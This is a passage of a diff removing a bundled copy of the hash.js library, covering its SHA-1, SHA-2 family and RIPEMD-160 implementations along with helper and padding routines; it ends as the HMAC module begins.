var res = ""; - for (var i = 0; i < msg.length; i++) - res += zero2(msg[i].toString(16)); - return res; - } - exports.toHex = toHex3; - function htonl(w) { - var res = w >>> 24 | w >>> 8 & 65280 | w << 8 & 16711680 | (w & 255) << 24; - return res >>> 0; - } - exports.htonl = htonl; - function toHex32(msg, endian) { - var res = ""; - for (var i = 0; i < msg.length; i++) { - var w = msg[i]; - if (endian === "little") - w = htonl(w); - res += zero8(w.toString(16)); - } - return res; - } - exports.toHex32 = toHex32; - function zero2(word) { - if (word.length === 1) - return "0" + word; - else - return word; - } - exports.zero2 = zero2; - function zero8(word) { - if (word.length === 7) - return "0" + word; - else if (word.length === 6) - return "00" + word; - else if (word.length === 5) - return "000" + word; - else if (word.length === 4) - return "0000" + word; - else if (word.length === 3) - return "00000" + word; - else if (word.length === 2) - return "000000" + word; - else if (word.length === 1) - return "0000000" + word; - else - return word; - } - exports.zero8 = zero8; - function join32(msg, start, end, endian) { - var len = end - start; - assert3(len % 4 === 0); - var res = new Array(len / 4); - for (var i = 0, k = start; i < res.length; i++, k += 4) { - var w; - if (endian === "big") - w = msg[k] << 24 | msg[k + 1] << 16 | msg[k + 2] << 8 | msg[k + 3]; - else - w = msg[k + 3] << 24 | msg[k + 2] << 16 | msg[k + 1] << 8 | msg[k]; - res[i] = w >>> 0; - } - return res; - } - exports.join32 = join32; - function split32(msg, endian) { - var res = new Array(msg.length * 4); - for (var i = 0, k = 0; i < msg.length; i++, k += 4) { - var m = msg[i]; - if (endian === "big") { - res[k] = m >>> 24; - res[k + 1] = m >>> 16 & 255; - res[k + 2] = m >>> 8 & 255; - res[k + 3] = m & 255; - } else { - res[k + 3] = m >>> 24; - res[k + 2] = m >>> 16 & 255; - res[k + 1] = m >>> 8 & 255; - res[k] = m & 255; - } - } - return res; - } - exports.split32 = split32; - function rotr32(w, b) { - return w >>> b | w << 32 - b; - } - exports.rotr32 = rotr32; - function rotl32(w, b) { - return w << b | w >>> 32 - b; - } - exports.rotl32 = rotl32; - function sum32(a, b) { - return a + b >>> 0; - } - exports.sum32 = sum32; - function sum32_3(a, b, c) { - return a + b + c >>> 0; - } - exports.sum32_3 = sum32_3; - function sum32_4(a, b, c, d) { - return a + b + c + d >>> 0; - } - exports.sum32_4 = sum32_4; - function sum32_5(a, b, c, d, e) { - return a + b + c + d + e >>> 0; - } - exports.sum32_5 = sum32_5; - function sum64(buf, pos, ah, al) { - var bh = buf[pos]; - var bl = buf[pos + 1]; - var lo = al + bl >>> 0; - var hi = (lo < al ? 1 : 0) + ah + bh; - buf[pos] = hi >>> 0; - buf[pos + 1] = lo; - } - exports.sum64 = sum64; - function sum64_hi(ah, al, bh, bl) { - var lo = al + bl >>> 0; - var hi = (lo < al ? 1 : 0) + ah + bh; - return hi >>> 0; - } - exports.sum64_hi = sum64_hi; - function sum64_lo(ah, al, bh, bl) { - var lo = al + bl; - return lo >>> 0; - } - exports.sum64_lo = sum64_lo; - function sum64_4_hi(ah, al, bh, bl, ch, cl, dh, dl) { - var carry = 0; - var lo = al; - lo = lo + bl >>> 0; - carry += lo < al ? 1 : 0; - lo = lo + cl >>> 0; - carry += lo < cl ? 1 : 0; - lo = lo + dl >>> 0; - carry += lo < dl ? 1 : 0; - var hi = ah + bh + ch + dh + carry; - return hi >>> 0; - } - exports.sum64_4_hi = sum64_4_hi; - function sum64_4_lo(ah, al, bh, bl, ch, cl, dh, dl) { - var lo = al + bl + cl + dl; - return lo >>> 0; - } - exports.sum64_4_lo = sum64_4_lo; - function sum64_5_hi(ah, al, bh, bl, ch, cl, dh, dl, eh, el) { - var carry = 0; - var lo = al; - lo = lo + bl >>> 0; - carry += lo < al ? 1 : 0; - lo = lo + cl >>> 0; - carry += lo < cl ? 1 : 0; - lo = lo + dl >>> 0; - carry += lo < dl ? 1 : 0; - lo = lo + el >>> 0; - carry += lo < el ? 1 : 0; - var hi = ah + bh + ch + dh + eh + carry; - return hi >>> 0; - } - exports.sum64_5_hi = sum64_5_hi; - function sum64_5_lo(ah, al, bh, bl, ch, cl, dh, dl, eh, el) { - var lo = al + bl + cl + dl + el; - return lo >>> 0; - } - exports.sum64_5_lo = sum64_5_lo; - function rotr64_hi(ah, al, num) { - var r3 = al << 32 - num | ah >>> num; - return r3 >>> 0; - } - exports.rotr64_hi = rotr64_hi; - function rotr64_lo(ah, al, num) { - var r3 = ah << 32 - num | al >>> num; - return r3 >>> 0; - } - exports.rotr64_lo = rotr64_lo; - function shr64_hi(ah, al, num) { - return ah >>> num; - } - exports.shr64_hi = shr64_hi; - function shr64_lo(ah, al, num) { - var r3 = ah << 32 - num | al >>> num; - return r3 >>> 0; - } - exports.shr64_lo = shr64_lo; - } - }); - - // node_modules/hash.js/lib/hash/common.js - var require_common3 = __commonJS({ - "node_modules/hash.js/lib/hash/common.js"(exports) { - "use strict"; - var utils = require_utils2(); - var assert3 = require_minimalistic_assert2(); - function BlockHash() { - this.pending = null; - this.pendingTotal = 0; - this.blockSize = this.constructor.blockSize; - this.outSize = this.constructor.outSize; - this.hmacStrength = this.constructor.hmacStrength; - this.padLength = this.constructor.padLength / 8; - this.endian = "big"; - this._delta8 = this.blockSize / 8; - this._delta32 = this.blockSize / 32; - } - exports.BlockHash = BlockHash; - BlockHash.prototype.update = function update3(msg, enc) { - msg = utils.toArray(msg, enc); - if (!this.pending) - this.pending = msg; - else - this.pending = this.pending.concat(msg); - this.pendingTotal += msg.length; - if (this.pending.length >= this._delta8) { - msg = this.pending; - var r3 = msg.length % this._delta8; - this.pending = msg.slice(msg.length - r3, msg.length); - if (this.pending.length === 0) - this.pending = null; - msg = utils.join32(msg, 0, msg.length - r3, this.endian); - for (var i = 0; i < msg.length; i += this._delta32) - this._update(msg, i, i + this._delta32); - } - return this; - }; - BlockHash.prototype.digest = function digest(enc) { - this.update(this._pad()); - assert3(this.pending === null); - return this._digest(enc); - }; - BlockHash.prototype._pad = function pad() { - var len = this.pendingTotal; - var bytes = this._delta8; - var k = bytes - (len + this.padLength) % bytes; - var res = new Array(k + this.padLength); - res[0] = 128; - for (var i = 1; i < k; i++) - res[i] = 0; - len <<= 3; - if (this.endian === "big") { - for (var t = 8; t < this.padLength; t++) - res[i++] = 0; - res[i++] = 0; - res[i++] = 0; - res[i++] = 0; - res[i++] = 0; - res[i++] = len >>> 24 & 255; - res[i++] = len >>> 16 & 255; - res[i++] = len >>> 8 & 255; - res[i++] = len & 255; - } else { - res[i++] = len & 255; - res[i++] = len >>> 8 & 255; - res[i++] = len >>> 16 & 255; - res[i++] = len >>> 24 & 255; - res[i++] = 0; - res[i++] = 0; - res[i++] = 0; - res[i++] = 0; - for (t = 8; t < this.padLength; t++) - res[i++] = 0; - } - return res; - }; - } - }); - - // node_modules/hash.js/lib/hash/sha/common.js - var require_common4 = __commonJS({ - "node_modules/hash.js/lib/hash/sha/common.js"(exports) { - "use strict"; - var utils = require_utils2(); - var rotr32 = utils.rotr32; - function ft_1(s, x, y, z) { - if (s === 0) - return ch32(x, y, z); - if (s === 1 || s === 3) - return p32(x, y, z); - if (s === 2) - return maj32(x, y, z); - } - exports.ft_1 = ft_1; - function ch32(x, y, z) { - return x & y ^ ~x & z; - } - exports.ch32 = ch32; - function maj32(x, y, z) { - return x & y ^ x & z ^ y & z; - } - exports.maj32 = maj32; - function p32(x, y, z) { - return x ^ y ^ z; - } - exports.p32 = p32; - function s0_256(x) { - return rotr32(x, 2) ^ rotr32(x, 13) ^ rotr32(x, 22); - } - exports.s0_256 = s0_256; - function s1_256(x) { - return rotr32(x, 6) ^ rotr32(x, 11) ^ rotr32(x, 25); - } - exports.s1_256 = s1_256; - function g0_256(x) { - return rotr32(x, 7) ^ rotr32(x, 18) ^ x >>> 3; - } - exports.g0_256 = g0_256; - function g1_256(x) { - return rotr32(x, 17) ^ rotr32(x, 19) ^ x >>> 10; - } - exports.g1_256 = g1_256; - } - }); - - // node_modules/hash.js/lib/hash/sha/1.js - var require__6 = __commonJS({ - "node_modules/hash.js/lib/hash/sha/1.js"(exports, module) { - "use strict"; - var utils = require_utils2(); - var common = require_common3(); - var shaCommon = require_common4(); - var rotl32 = utils.rotl32; - var sum32 = utils.sum32; - var sum32_5 = utils.sum32_5; - var ft_1 = shaCommon.ft_1; - var BlockHash = common.BlockHash; - var sha1_K = [ - 1518500249, - 1859775393, - 2400959708, - 3395469782 - ]; - function SHA1() { - if (!(this instanceof SHA1)) - return new SHA1(); - BlockHash.call(this); - this.h = [ - 1732584193, - 4023233417, - 2562383102, - 271733878, - 3285377520 - ]; - this.W = new Array(80); - } - utils.inherits(SHA1, BlockHash); - module.exports = SHA1; - SHA1.blockSize = 512; - SHA1.outSize = 160; - SHA1.hmacStrength = 80; - SHA1.padLength = 64; - SHA1.prototype._update = function _update(msg, start) { - var W = this.W; - for (var i = 0; i < 16; i++) - W[i] = msg[start + i]; - for (; i < W.length; i++) - W[i] = rotl32(W[i - 3] ^ W[i - 8] ^ W[i - 14] ^ W[i - 16], 1); - var a = this.h[0]; - var b = this.h[1]; - var c = this.h[2]; - var d = this.h[3]; - var e = this.h[4]; - for (i = 0; i < W.length; i++) { - var s = ~~(i / 20); - var t = sum32_5(rotl32(a, 5), ft_1(s, b, c, d), e, W[i], sha1_K[s]); - e = d; - d = c; - c = rotl32(b, 30); - b = a; - a = t; - } - this.h[0] = sum32(this.h[0], a); - this.h[1] = sum32(this.h[1], b); - this.h[2] = sum32(this.h[2], c); - this.h[3] = sum32(this.h[3], d); - this.h[4] = sum32(this.h[4], e); - }; - SHA1.prototype._digest = function digest(enc) { - if (enc === "hex") - return utils.toHex32(this.h, "big"); - else - return utils.split32(this.h, "big"); - }; - } - }); - - // node_modules/hash.js/lib/hash/sha/256.js - var require__7 = __commonJS({ - "node_modules/hash.js/lib/hash/sha/256.js"(exports, module) { - "use strict"; - var utils = require_utils2(); - var common = require_common3(); - var shaCommon = require_common4(); - var assert3 = require_minimalistic_assert2(); - var sum32 = utils.sum32; - var sum32_4 = utils.sum32_4; - var sum32_5 = utils.sum32_5; - var ch32 = shaCommon.ch32; - var maj32 = shaCommon.maj32; - var s0_256 = shaCommon.s0_256; - var s1_256 = shaCommon.s1_256; - var g0_256 = shaCommon.g0_256; - var g1_256 = shaCommon.g1_256; - var BlockHash = common.BlockHash; - var sha256_K = [ - 1116352408, - 1899447441, - 3049323471, - 3921009573, - 961987163, - 1508970993, - 2453635748, - 2870763221, - 3624381080, - 310598401, - 607225278, - 1426881987, - 1925078388, - 2162078206, - 2614888103, - 3248222580, - 3835390401, - 4022224774, - 264347078, - 604807628, - 770255983, - 1249150122, - 1555081692, - 1996064986, - 2554220882, - 2821834349, - 2952996808, - 3210313671, - 3336571891, - 3584528711, - 113926993, - 338241895, - 666307205, - 773529912, - 1294757372, - 1396182291, - 1695183700, - 1986661051, - 2177026350, - 2456956037, - 2730485921, - 2820302411, - 3259730800, - 3345764771, - 3516065817, - 3600352804, - 4094571909, - 275423344, - 430227734, - 506948616, - 659060556, - 883997877, - 958139571, - 1322822218, - 1537002063, - 1747873779, - 1955562222, - 2024104815, - 2227730452, - 2361852424, - 2428436474, - 2756734187, - 3204031479, - 3329325298 - ]; - function SHA256() { - if (!(this instanceof SHA256)) - return new SHA256(); - BlockHash.call(this); - this.h = [ - 1779033703, - 3144134277, - 1013904242, - 2773480762, - 1359893119, - 2600822924, - 528734635, - 1541459225 - ]; - this.k = sha256_K; - this.W = new Array(64); - } - utils.inherits(SHA256, BlockHash); - module.exports = SHA256; - SHA256.blockSize = 512; - SHA256.outSize = 256; - SHA256.hmacStrength = 192; - SHA256.padLength = 64; - SHA256.prototype._update = function _update(msg, start) { - var W = this.W; - for (var i = 0; i < 16; i++) - W[i] = msg[start + i]; - for (; i < W.length; i++) - W[i] = sum32_4(g1_256(W[i - 2]), W[i - 7], g0_256(W[i - 15]), W[i - 16]); - var a = this.h[0]; - var b = this.h[1]; - var c = this.h[2]; - var d = this.h[3]; - var e = this.h[4]; - var f = this.h[5]; - var g = this.h[6]; - var h = this.h[7]; - assert3(this.k.length === W.length); - for (i = 0; i < W.length; i++) { - var T1 = sum32_5(h, s1_256(e), ch32(e, f, g), this.k[i], W[i]); - var T2 = sum32(s0_256(a), maj32(a, b, c)); - h = g; - g = f; - f = e; - e = sum32(d, T1); - d = c; - c = b; - b = a; - a = sum32(T1, T2); - } - this.h[0] = sum32(this.h[0], a); - this.h[1] = sum32(this.h[1], b); - this.h[2] = sum32(this.h[2], c); - this.h[3] = sum32(this.h[3], d); - this.h[4] = sum32(this.h[4], e); - this.h[5] = sum32(this.h[5], f); - this.h[6] = sum32(this.h[6], g); - this.h[7] = sum32(this.h[7], h); - }; - SHA256.prototype._digest = function digest(enc) { - if (enc === "hex") - return utils.toHex32(this.h, "big"); - else - return utils.split32(this.h, "big"); - }; - } - }); - - // node_modules/hash.js/lib/hash/sha/224.js - var require__8 = __commonJS({ - "node_modules/hash.js/lib/hash/sha/224.js"(exports, module) { - "use strict"; - var utils = require_utils2(); - var SHA256 = require__7(); - function SHA224() { - if (!(this instanceof SHA224)) - return new SHA224(); - SHA256.call(this); - this.h = [ - 3238371032, - 914150663, - 812702999, - 4144912697, - 4290775857, - 1750603025, - 1694076839, - 3204075428 - ]; - } - utils.inherits(SHA224, SHA256); - module.exports = SHA224; - SHA224.blockSize = 512; - SHA224.outSize = 224; - SHA224.hmacStrength = 192; - SHA224.padLength = 64; - SHA224.prototype._digest = function digest(enc) { - if (enc === "hex") - return utils.toHex32(this.h.slice(0, 7), "big"); - else - return utils.split32(this.h.slice(0, 7), "big"); - }; - } - }); - - // node_modules/hash.js/lib/hash/sha/512.js - var require__9 = __commonJS({ - "node_modules/hash.js/lib/hash/sha/512.js"(exports, module) { - "use strict"; - var utils = require_utils2(); - var common = require_common3(); - var assert3 = require_minimalistic_assert2(); - var rotr64_hi = utils.rotr64_hi; - var rotr64_lo = utils.rotr64_lo; - var shr64_hi = utils.shr64_hi; - var shr64_lo = utils.shr64_lo; - var sum64 = utils.sum64; - var sum64_hi = utils.sum64_hi; - var sum64_lo = utils.sum64_lo; - var sum64_4_hi = utils.sum64_4_hi; - var sum64_4_lo = utils.sum64_4_lo; - var sum64_5_hi = utils.sum64_5_hi; - var sum64_5_lo = utils.sum64_5_lo; - var BlockHash = common.BlockHash; - var sha512_K = [ - 1116352408, - 3609767458, - 1899447441, - 602891725, - 3049323471, - 3964484399, - 3921009573, - 2173295548, - 961987163, - 4081628472, - 1508970993, - 3053834265, - 2453635748, - 2937671579, - 2870763221, - 3664609560, - 3624381080, - 2734883394, - 310598401, - 1164996542, - 607225278, - 1323610764, - 1426881987, - 3590304994, - 1925078388, - 4068182383, - 2162078206, - 991336113, - 2614888103, - 633803317, - 3248222580, - 3479774868, - 3835390401, - 2666613458, - 4022224774, - 944711139, - 264347078, - 2341262773, - 604807628, - 2007800933, - 770255983, - 1495990901, - 1249150122, - 1856431235, - 1555081692, - 3175218132, - 1996064986, - 2198950837, - 2554220882, - 3999719339, - 2821834349, - 766784016, - 2952996808, - 2566594879, - 3210313671, - 3203337956, - 3336571891, - 1034457026, - 3584528711, - 2466948901, - 113926993, - 3758326383, - 338241895, - 168717936, - 666307205, - 1188179964, - 773529912, - 1546045734, - 1294757372, - 1522805485, - 1396182291, - 2643833823, - 1695183700, - 2343527390, - 1986661051, - 1014477480, - 2177026350, - 1206759142, - 2456956037, - 344077627, - 2730485921, - 1290863460, - 2820302411, - 3158454273, - 3259730800, - 3505952657, - 3345764771, - 106217008, - 3516065817, - 3606008344, - 3600352804, - 1432725776, - 4094571909, - 1467031594, - 275423344, - 851169720, - 430227734, - 3100823752, - 506948616, - 1363258195, - 659060556, - 3750685593, - 883997877, - 3785050280, - 958139571, - 3318307427, - 1322822218, - 3812723403, - 1537002063, - 2003034995, - 1747873779, - 3602036899, - 1955562222, - 1575990012, - 2024104815, - 1125592928, - 2227730452, - 2716904306, - 2361852424, - 442776044, - 2428436474, - 593698344, - 2756734187, - 3733110249, - 3204031479, - 2999351573, - 3329325298, - 3815920427, - 3391569614, - 3928383900, - 3515267271, - 566280711, - 3940187606, - 3454069534, - 4118630271, - 4000239992, - 116418474, - 1914138554, - 174292421, - 2731055270, - 289380356, - 3203993006, - 460393269, - 320620315, - 685471733, - 587496836, - 852142971, - 1086792851, - 1017036298, - 365543100, - 1126000580, - 2618297676, - 1288033470, - 3409855158, - 1501505948, - 4234509866, - 1607167915, - 987167468, - 1816402316, - 1246189591 - ]; - function SHA512() { - if (!(this instanceof SHA512)) - return new SHA512(); - BlockHash.call(this); - this.h = [ - 1779033703, - 4089235720, - 3144134277, - 2227873595, - 1013904242, - 4271175723, - 2773480762, - 1595750129, - 1359893119, - 2917565137, - 2600822924, - 725511199, - 528734635, - 4215389547, - 1541459225, - 327033209 - ]; - this.k = sha512_K; - this.W = new Array(160); - } - utils.inherits(SHA512, BlockHash); - module.exports = SHA512; - SHA512.blockSize = 1024; - SHA512.outSize = 512; - SHA512.hmacStrength = 192; - SHA512.padLength = 128; - SHA512.prototype._prepareBlock = function _prepareBlock(msg, start) { - var W = this.W; - for (var i = 0; i < 32; i++) - W[i] = msg[start + i]; - for (; i < W.length; i += 2) { - var c0_hi = g1_512_hi(W[i - 4], W[i - 3]); - var c0_lo = g1_512_lo(W[i - 4], W[i - 3]); - var c1_hi = W[i - 14]; - var c1_lo = W[i - 13]; - var c2_hi = g0_512_hi(W[i - 30], W[i - 29]); - var c2_lo = g0_512_lo(W[i - 30], W[i - 29]); - var c3_hi = W[i - 32]; - var c3_lo = W[i - 31]; - W[i] = sum64_4_hi( - c0_hi, - c0_lo, - c1_hi, - c1_lo, - c2_hi, - c2_lo, - c3_hi, - c3_lo - ); - W[i + 1] = sum64_4_lo( - c0_hi, - c0_lo, - c1_hi, - c1_lo, - c2_hi, - c2_lo, - c3_hi, - c3_lo - ); - } - }; - SHA512.prototype._update = function _update(msg, start) { - this._prepareBlock(msg, start); - var W = this.W; - var ah = this.h[0]; - var al = this.h[1]; - var bh = this.h[2]; - var bl = this.h[3]; - var ch = this.h[4]; - var cl = this.h[5]; - var dh = this.h[6]; - var dl = this.h[7]; - var eh = this.h[8]; - var el = this.h[9]; - var fh = this.h[10]; - var fl = this.h[11]; - var gh = this.h[12]; - var gl = this.h[13]; - var hh = this.h[14]; - var hl = this.h[15]; - assert3(this.k.length === W.length); - for (var i = 0; i < W.length; i += 2) { - var c0_hi = hh; - var c0_lo = hl; - var c1_hi = s1_512_hi(eh, el); - var c1_lo = s1_512_lo(eh, el); - var c2_hi = ch64_hi(eh, el, fh, fl, gh, gl); - var c2_lo = ch64_lo(eh, el, fh, fl, gh, gl); - var c3_hi = this.k[i]; - var c3_lo = this.k[i + 1]; - var c4_hi = W[i]; - var c4_lo = W[i + 1]; - var T1_hi = sum64_5_hi( - c0_hi, - c0_lo, - c1_hi, - c1_lo, - c2_hi, - c2_lo, - c3_hi, - c3_lo, - c4_hi, - c4_lo - ); - var T1_lo = sum64_5_lo( - c0_hi, - c0_lo, - c1_hi, - c1_lo, - c2_hi, - c2_lo, - c3_hi, - c3_lo, - c4_hi, - c4_lo - ); - c0_hi = s0_512_hi(ah, al); - c0_lo = s0_512_lo(ah, al); - c1_hi = maj64_hi(ah, al, bh, bl, ch, cl); - c1_lo = maj64_lo(ah, al, bh, bl, ch, cl); - var T2_hi = sum64_hi(c0_hi, c0_lo, c1_hi, c1_lo); - var T2_lo = sum64_lo(c0_hi, c0_lo, c1_hi, c1_lo); - hh = gh; - hl = gl; - gh = fh; - gl = fl; - fh = eh; - fl = el; - eh = sum64_hi(dh, dl, T1_hi, T1_lo); - el = sum64_lo(dl, dl, T1_hi, T1_lo); - dh = ch; - dl = cl; - ch = bh; - cl = bl; - bh = ah; - bl = al; - ah = sum64_hi(T1_hi, T1_lo, T2_hi, T2_lo); - al = sum64_lo(T1_hi, T1_lo, T2_hi, T2_lo); - } - sum64(this.h, 0, ah, al); - sum64(this.h, 2, bh, bl); - sum64(this.h, 4, ch, cl); - sum64(this.h, 6, dh, dl); - sum64(this.h, 8, eh, el); - sum64(this.h, 10, fh, fl); - sum64(this.h, 12, gh, gl); - sum64(this.h, 14, hh, hl); - }; - SHA512.prototype._digest = function digest(enc) { - if (enc === "hex") - return utils.toHex32(this.h, "big"); - else - return utils.split32(this.h, "big"); - }; - function ch64_hi(xh, xl, yh, yl, zh) { - var r3 = xh & yh ^ ~xh & zh; - if (r3 < 0) - r3 += 4294967296; - return r3; - } - function ch64_lo(xh, xl, yh, yl, zh, zl) { - var r3 = xl & yl ^ ~xl & zl; - if (r3 < 0) - r3 += 4294967296; - return r3; - } - function maj64_hi(xh, xl, yh, yl, zh) { - var r3 = xh & yh ^ xh & zh ^ yh & zh; - if (r3 < 0) - r3 += 4294967296; - return r3; - } - function maj64_lo(xh, xl, yh, yl, zh, zl) { - var r3 = xl & yl ^ xl & zl ^ yl & zl; - if (r3 < 0) - r3 += 4294967296; - return r3; - } - function s0_512_hi(xh, xl) { - var c0_hi = rotr64_hi(xh, xl, 28); - var c1_hi = rotr64_hi(xl, xh, 2); - var c2_hi = rotr64_hi(xl, xh, 7); - var r3 = c0_hi ^ c1_hi ^ c2_hi; - if (r3 < 0) - r3 += 4294967296; - return r3; - } - function s0_512_lo(xh, xl) { - var c0_lo = rotr64_lo(xh, xl, 28); - var c1_lo = rotr64_lo(xl, xh, 2); - var c2_lo = rotr64_lo(xl, xh, 7); - var r3 = c0_lo ^ c1_lo ^ c2_lo; - if (r3 < 0) - r3 += 4294967296; - return r3; - } - function s1_512_hi(xh, xl) { - var c0_hi = rotr64_hi(xh, xl, 14); - var c1_hi = rotr64_hi(xh, xl, 18); - var c2_hi = rotr64_hi(xl, xh, 9); - var r3 = c0_hi ^ c1_hi ^ c2_hi; - if (r3 < 0) - r3 += 4294967296; - return r3; - } - function s1_512_lo(xh, xl) { - var c0_lo = rotr64_lo(xh, xl, 14); - var c1_lo = rotr64_lo(xh, xl, 18); - var c2_lo = rotr64_lo(xl, xh, 9); - var r3 = c0_lo ^ c1_lo ^ c2_lo; - if (r3 < 0) - r3 += 4294967296; - return r3; - } - function g0_512_hi(xh, xl) { - var c0_hi = rotr64_hi(xh, xl, 1); - var c1_hi = rotr64_hi(xh, xl, 8); - var c2_hi = shr64_hi(xh, xl, 7); - var r3 = c0_hi ^ c1_hi ^ c2_hi; - if (r3 < 0) - r3 += 4294967296; - return r3; - } - function g0_512_lo(xh, xl) { - var c0_lo = rotr64_lo(xh, xl, 1); - var c1_lo = rotr64_lo(xh, xl, 8); - var c2_lo = shr64_lo(xh, xl, 7); - var r3 = c0_lo ^ c1_lo ^ c2_lo; - if (r3 < 0) - r3 += 4294967296; - return r3; - } - function g1_512_hi(xh, xl) { - var c0_hi = rotr64_hi(xh, xl, 19); - var c1_hi = rotr64_hi(xl, xh, 29); - var c2_hi = shr64_hi(xh, xl, 6); - var r3 = c0_hi ^ c1_hi ^ c2_hi; - if (r3 < 0) - r3 += 4294967296; - return r3; - } - function g1_512_lo(xh, xl) { - var c0_lo = rotr64_lo(xh, xl, 19); - var c1_lo = rotr64_lo(xl, xh, 29); - var c2_lo = shr64_lo(xh, xl, 6); - var r3 = c0_lo ^ c1_lo ^ c2_lo; - if (r3 < 0) - r3 += 4294967296; - return r3; - } - } - }); - - // node_modules/hash.js/lib/hash/sha/384.js - var require__10 = __commonJS({ - "node_modules/hash.js/lib/hash/sha/384.js"(exports, module) { - "use strict"; - var utils = require_utils2(); - var SHA512 = require__9(); - function SHA384() { - if (!(this instanceof SHA384)) - return new SHA384(); - SHA512.call(this); - this.h = [ - 3418070365, - 3238371032, - 1654270250, - 914150663, - 2438529370, - 812702999, - 355462360, - 4144912697, - 1731405415, - 4290775857, - 2394180231, - 1750603025, - 3675008525, - 1694076839, - 1203062813, - 3204075428 - ]; - } - utils.inherits(SHA384, SHA512); - module.exports = SHA384; - SHA384.blockSize = 1024; - SHA384.outSize = 384; - SHA384.hmacStrength = 192; - SHA384.padLength = 128; - SHA384.prototype._digest = function digest(enc) { - if (enc === "hex") - return utils.toHex32(this.h.slice(0, 12), "big"); - else - return utils.split32(this.h.slice(0, 12), "big"); - }; - } - }); - - // node_modules/hash.js/lib/hash/sha.js - var require_sha2 = __commonJS({ - "node_modules/hash.js/lib/hash/sha.js"(exports) { - "use strict"; - exports.sha1 = require__6(); - exports.sha224 = require__8(); - exports.sha256 = require__7(); - exports.sha384 = require__10(); - exports.sha512 = require__9(); - } - }); - - // node_modules/hash.js/lib/hash/ripemd.js - var require_ripemd2 = __commonJS({ - "node_modules/hash.js/lib/hash/ripemd.js"(exports) { - "use strict"; - var utils = require_utils2(); - var common = require_common3(); - var rotl32 = utils.rotl32; - var sum32 = utils.sum32; - var sum32_3 = utils.sum32_3; - var sum32_4 = utils.sum32_4; - var BlockHash = common.BlockHash; - function RIPEMD160() { - if (!(this instanceof RIPEMD160)) - return new RIPEMD160(); - BlockHash.call(this); - this.h = [1732584193, 4023233417, 2562383102, 271733878, 3285377520]; - this.endian = "little"; - } - utils.inherits(RIPEMD160, BlockHash); - exports.ripemd160 = RIPEMD160; - RIPEMD160.blockSize = 512; - RIPEMD160.outSize = 160; - RIPEMD160.hmacStrength = 192; - RIPEMD160.padLength = 64; - RIPEMD160.prototype._update = function update3(msg, start) { - var A = this.h[0]; - var B = this.h[1]; - var C = this.h[2]; - var D = this.h[3]; - var E = this.h[4]; - var Ah = A; - var Bh = B; - var Ch = C; - var Dh = D; - var Eh = E; - for (var j = 0; j < 80; j++) { - var T = sum32( - rotl32( - sum32_4(A, f(j, B, C, D), msg[r3[j] + start], K(j)), - s[j] - ), - E - ); - A = E; - E = D; - D = rotl32(C, 10); - C = B; - B = T; - T = sum32( - rotl32( - sum32_4(Ah, f(79 - j, Bh, Ch, Dh), msg[rh[j] + start], Kh(j)), - sh[j] - ), - Eh - ); - Ah = Eh; - Eh = Dh; - Dh = rotl32(Ch, 10); - Ch = Bh; - Bh = T; - } - T = sum32_3(this.h[1], C, Dh); - this.h[1] = sum32_3(this.h[2], D, Eh); - this.h[2] = sum32_3(this.h[3], E, Ah); - this.h[3] = sum32_3(this.h[4], A, Bh); - this.h[4] = sum32_3(this.h[0], B, Ch); - this.h[0] = T; - }; - RIPEMD160.prototype._digest = function digest(enc) { - if (enc === "hex") - return utils.toHex32(this.h, "little"); - else - return utils.split32(this.h, "little"); - }; - function f(j, x, y, z) { - if (j <= 15) - return x ^ y ^ z; - else if (j <= 31) - return x & y | ~x & z; - else if (j <= 47) - return (x | ~y) ^ z; - else if (j <= 63) - return x & z | y & ~z; - else - return x ^ (y | ~z); - } - function K(j) { - if (j <= 15) - return 0; - else if (j <= 31) - return 1518500249; - else if (j <= 47) - return 1859775393; - else if (j <= 63) - return 2400959708; - else - return 2840853838; - } - function Kh(j) { - if (j <= 15) - return 1352829926; - else if (j <= 31) - return 1548603684; - else if (j <= 47) - return 1836072691; - else if (j <= 63) - return 2053994217; - else - return 0; - } - var r3 = [ - 0, - 1, - 2, - 3, - 4, - 5, - 6, - 7, - 8, - 9, - 10, - 11, - 12, - 13, - 14, - 15, - 7, - 4, - 13, - 1, - 10, - 6, - 15, - 3, - 12, - 0, - 9, - 5, - 2, - 14, - 11, - 8, - 3, - 10, - 14, - 4, - 9, - 15, - 8, - 1, - 2, - 7, - 0, - 6, - 13, - 11, - 5, - 12, - 1, - 9, - 11, - 10, - 0, - 8, - 12, - 4, - 13, - 3, - 7, - 15, - 14, - 5, - 6, - 2, - 4, - 0, - 5, - 9, - 7, - 12, - 2, - 10, - 14, - 1, - 3, - 8, - 11, - 6, - 15, - 13 - ]; - var rh = [ - 5, - 14, - 7, - 0, - 9, - 2, - 11, - 4, - 13, - 6, - 15, - 8, - 1, - 10, - 3, - 12, - 6, - 11, - 3, - 7, - 0, - 13, - 5, - 10, - 14, - 15, - 8, - 12, - 4, - 9, - 1, - 2, - 15, - 5, - 1, - 3, - 7, - 14, - 6, - 9, - 11, - 8, - 12, - 2, - 10, - 0, - 4, - 13, - 8, - 6, - 4, - 1, - 3, - 11, - 15, - 0, - 5, - 12, - 2, - 13, - 9, - 7, - 10, - 14, - 12, - 15, - 10, - 4, - 1, - 5, - 8, - 7, - 6, - 2, - 13, - 14, - 0, - 3, - 9, - 11 - ]; - var s = [ - 11, - 14, - 15, - 12, - 5, - 8, - 7, - 9, - 11, - 13, - 14, - 15, - 6, - 7, - 9, - 8, - 7, - 6, - 8, - 13, - 11, - 9, - 7, - 15, - 7, - 12, - 15, - 9, - 11, - 7, - 13, - 12, - 11, - 13, - 6, - 7, - 14, - 9, - 13, - 15, - 14, - 8, - 13, - 6, - 5, - 12, - 7, - 5, - 11, - 12, - 14, - 15, - 14, - 15, - 9, - 8, - 9, - 14, - 5, - 6, - 8, - 6, - 5, - 12, - 9, - 15, - 5, - 11, - 6, - 8, - 13, - 12, - 5, - 12, - 13, - 14, - 11, - 8, - 5, - 6 - ]; - var sh = [ - 8, - 9, - 9, - 11, - 13, - 15, - 15, - 5, - 7, - 7, - 8, - 11, - 14, - 14, - 12, - 6, - 9, - 13, - 15, - 7, - 12, - 8, - 9, - 11, - 7, - 7, - 12, - 7, - 6, - 15, - 13, - 11, - 9, - 7, - 15, - 11, - 8, - 6, - 6, - 14, - 12, - 13, - 5, - 14, - 13, - 13, - 7, - 5, - 15, - 5, - 8, - 11, - 14, - 14, - 6, - 14, - 6, - 9, - 12, - 9, - 12, - 5, - 15, - 8, - 8, - 5, - 12, - 9, - 12, - 5, - 14, - 6, - 8, - 13, - 6, - 5, - 15, - 13, - 11, - 11 - ]; - } - }); - - // node_modules/hash.js/lib/hash/hmac.js - var require_hmac2 = __commonJS({ - 